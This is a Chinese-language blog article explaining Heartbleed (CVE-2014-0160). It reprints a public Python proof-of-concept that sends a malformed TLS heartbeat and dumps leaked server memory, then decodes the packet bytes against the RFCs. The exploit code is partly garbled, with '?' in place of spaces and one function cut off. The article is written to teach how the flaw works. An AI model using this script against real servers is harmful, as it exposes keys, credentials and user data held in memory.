OpenSSL 的 Heartbleed 漏洞的影響到底有多大？看了本文就知道了！

OpenSSL 的 Heartbleed 漏洞的影響到底有多大？

關(guān)于OpenSSL“心臟出血”漏洞的分析

漏洞相關(guān)的代碼就不分析了，上面的文章已經(jīng)分析的很清楚了，下面主要分析一下網(wǎng)絡(luò)上流傳甚廣的python POC文件。

#!/usr/bin/python

#?Quick?and?dirty?demonstration?of?CVE-2014-0160?by?Jared?Stafford?(jspenguin@jspenguin.org)
#?The?author?disclaims?copyright?to?this?source?code.

import?sys
import?struct
import?socket
import?time
import?select
import?re
from?optparse?import?OptionParser

options?=?OptionParser(usage='%prog?server?[options]',?description='Test?for?SSL?heartbeat?vulnerability?(CVE-2014-0160)')
options.add_option('-p',?'--port',?type='int',?default=443,?help='TCP?port?to?test?(default:?443)')

def?h2bin(x):
????return?x.replace('?',?'').replace('n',?'').decode('hex')

hello?=?h2bin('''
16?03?02?00??dc?01?00?00?d8?03?02?53
43?5b?90?9d?9b?72?0b?bc??0c?bc?2b?92?a8?48?97?cf
bd?39?04?cc?16?0a?85?03??90?9f?77?04?33?d4?de?00
00?66?c0?14?c0?0a?c0?22??c0?21?00?39?00?38?00?88
00?87?c0?0f?c0?05?00?35??00?84?c0?12?c0?08?c0?1c
c0?1b?00?16?00?13?c0?0d??c0?03?00?0a?c0?13?c0?09
c0?1f?c0?1e?00?33?00?32??00?9a?00?99?00?45?00?44
c0?0e?c0?04?00?2f?00?96??00?41?c0?11?c0?07?c0?0c
c0?02?00?05?00?04?00?15??00?12?00?09?00?14?00?11
00?08?00?06?00?03?00?ff??01?00?00?49?00?0b?00?04
03?00?01?02?00?0a?00?34??00?32?00?0e?00?0d?00?19
00?0b?00?0c?00?18?00?09??00?0a?00?16?00?17?00?08
00?06?00?07?00?14?00?15??00?04?00?05?00?12?00?13
00?01?00?02?00?03?00?0f??00?10?00?11?00?23?00?00
00?0f?00?01?01??????????????????????????????????
''')

hb?=?h2bin('''?
18?03?02?00?03
01?40?00
''')

def?hexdump(s):
????for?b?in?xrange(0,?len(s),?16):
????????lin?=?[c?for?c?in?s[b?:?b?+?16]]
????????hxdat?=?'?'.join('%02X'?%?ord(c)?for?c?in?lin)
????????pdat?=?''.join((c?if?32?<=?ord(c)??0:
????????rtime?=?endtime?-?time.time()?
????????if?rtime?<?0:
????????????return?None
????????r,?w,?e?=?select.select([s],?[],?[],?5)
????????if?s?in?r:
????????????data?=?s.recv(remain)
????????????#?EOF?
????????????if?not?data:
????????????????return?None
????????????rdata?+=?data
????????????remain?-=?len(data)
????return?rdata
????????

def?recvmsg(s):
????hdr?=?recvall(s,?5)
????if?hdr?is?None:
????????print?'Unexpected?EOF?receiving?record?header?-?server?closed?connection'
????????return?None,?None,?None
????typ,?ver,?ln?=?struct.unpack('>BHH',?hdr)
????pay?=?recvall(s,?ln,?10)
????if?pay?is?None:
????????print?'Unexpected?EOF?receiving?record?payload?-?server?closed?connection'
????????return?None,?None,?None
????print?'?...?received?message:?type?=?%d,?ver?=?%04x,?length?=?%d'?%?(typ,?ver,?len(pay))
????return?typ,?ver,?pay

def?hit_hb(s):
????s.send(hb)
????while?True:
????????typ,?ver,?pay?=?recvmsg(s)
????????if?typ?is?None:
????????????print?'No?heartbeat?response?received,?server?likely?not?vulnerable'
????????????return?False

????????if?typ?==?24:
????????????print?'Received?heartbeat?response:'
????????????hexdump(pay)
????????????if?len(pay)?>?3:
????????????????print?'WARNING:?server?returned?more?data?than?it?should?-?server?is?vulnerable!'
????????????else:
????????????????print?'Server?processed?malformed?heartbeat,?but?did?not?return?any?extra?data.'
????????????return?True

????????if?typ?==?21:
????????????print?'Received?alert:'
????????????hexdump(pay)
????????????print?'Server?returned?error,?likely?not?vulnerable'
????????????return?False

def?main():
????opts,?args?=?options.parse_args()
????if?len(args)?<?1:
????????options.print_help()
????????return

????s?=?socket.socket(socket.AF_INET,?socket.SOCK_STREAM)
????print?'Connecting...'
????sys.stdout.flush()
????s.connect((args[0],?opts.port))
????print?'Sending?Client?Hello...'
????sys.stdout.flush()
????s.send(hello)
????print?'Waiting?for?Server?Hello...'
????sys.stdout.flush()
????while?True:
????????typ,?ver,?pay?=?recvmsg(s)
????????if?typ?==?None:
????????????print?'Server?closed?connection?without?sending?Server?Hello.'
????????????return
????????#?Look?for?server?hello?done?message.
????????if?typ?==?22?and?ord(pay[0])?==?0x0E:
????????????break

????print?'Sending?heartbeat?request...'
????sys.stdout.flush()
????s.send(hb)
????hit_hb(s)

if?__name__?==?'__main__':
????main()

上面比較重要和難以理解的是hello和hb兩個字符串的意思到底是什么。

首先看hb這個字符串的幾個字節(jié)是什么意思， 通過閱讀RFC6520我們可以得到heartbeat的數(shù)據(jù)結(jié)構(gòu)：

The Heartbeat protocol messages consist of their type and an?arbitrary payload and padding.
?

? enum {
? ? ? heartbeat_request(1),
? ? ? heartbeat_response(2),
? ? ? (255)
? ?} HeartbeatMessageType;

? ?struct {
? ? ? HeartbeatMessageType type;
? ? ? uint16 payload_length;
? ? ? opaque payload[HeartbeatMessage.payload_length];
? ? ? opaque padding[padding_length];
? ?} HeartbeatMessage;

這個數(shù)據(jù)結(jié)構(gòu)的總長度不能超過2的14次方。

type: ?消息類型， ?heartbeat_request 或者?heartbeat_response中的一個，不是0x01就是0x02，1byte。

payload_length: payload的長度, 2個bytes。

payload：內(nèi)容是任意的東西，接收端收到之后必須忽略掉里面的具體內(nèi)容，如果接收端響應(yīng)這個request，那么需要將里面的內(nèi)容原封不動拷貝回發(fā)送端。

padding: 也是一些隨即的亂起八糟的內(nèi)容，必須被接收端忽略掉。

padding_length: ?TLSPlaintext.length - payload_length - 3 for TLS 或者?DTLSPlaintext.length - payload_length - 3 for DTLS. ?至少是16bytes.

在這個RFC6520中有下面一句話，IANA has assigned the heartbeat content type (24) from the "TLS?ContentType Registry" as specified in [RFC5246]

意思就是說IANA這個組織把heartbeat content type的編號定為了24

我們?nèi)FC5246中查找TLSPlaintext結(jié)構(gòu)的定義。

RFC5246附錄A中開頭的定義如下：

struct {
? ? ? ?uint8 major;
? ? ? ?uint8 minor;
? ?} ProtocolVersion;

? ?ProtocolVersion version = { 3, 3 }; ? ? /* TLS v1.2*/

? ?enum {
? ? ? ?change_cipher_spec(20), alert(21), handshake(22),
? ? ? ?application_data(23), (255)
? ?} ContentType;

? ?struct {
? ? ? ?ContentType type;
? ? ? ?ProtocolVersion version;
? ? ? ?uint16 length;
? ? ? ?opaque fragment[TLSPlaintext.length];
? ?} TLSPlaintext;

type:1個byte，這里應(yīng)該是heartbeat，24, 0x18

version:2個bytes

length：2個bytes

fragment: 具體的extension的message.

上面這一系列數(shù)據(jù)結(jié)構(gòu)翻譯成用c語言的數(shù)據(jù)結(jié)構(gòu)就是：

struct {

? ? ? ?ContentType type; ? ? ? ? //1byte
? ? ? ?ProtocolVersion version; //2bytes
? ? ? ?uint16 length; ? ? ? ? ? ? ? ? ? ?//2bytes

? ? ? ?HeartbeatMessageType type; ? ? ? ? ?//1bytes
? ? ? ?uint16 payload_length; ? ? ? ? ? ? ? ? ? //2bytes
? ? ? ?char payload[payload_length]; ? ??
? ? ? ?char padding[padding_length];

}HeartBeatPlainText;

這樣我們就可以對應(yīng)的看出來hb到底是什么意思了：

hb = h2bin('''?
18 03 02 00 03
01 40 00
''')

18表示heartbeat type

03 02表示TLS的版本號，這里表示TLS v1.1

00 03表示heartbeatmessage的長度，也就是TLSplaintext的payload的長度

01表示heartbeat_request

40 00 表示payload length, 2**14

其中payload和padding都沒有，這樣正好就可以利用漏洞將后面內(nèi)存中的數(shù)據(jù)dump出來了。

OK, 現(xiàn)在hb已經(jīng)清楚了。

hello有225bytes, 具體的每個域的意思可以參考RFC 5246 7.4.1?

https://tools.ietf.org/html/rfc5246#section-7.4.1

最好通過wireshark抓https的包來看client hello的解析。一目了然。

另外：通過在自己機器上測試發(fā)現(xiàn)XAMPP for Linux 1.8.3-3用的就是有漏洞的版本的openssl, 可以用這個腳本來進行測試，抓包。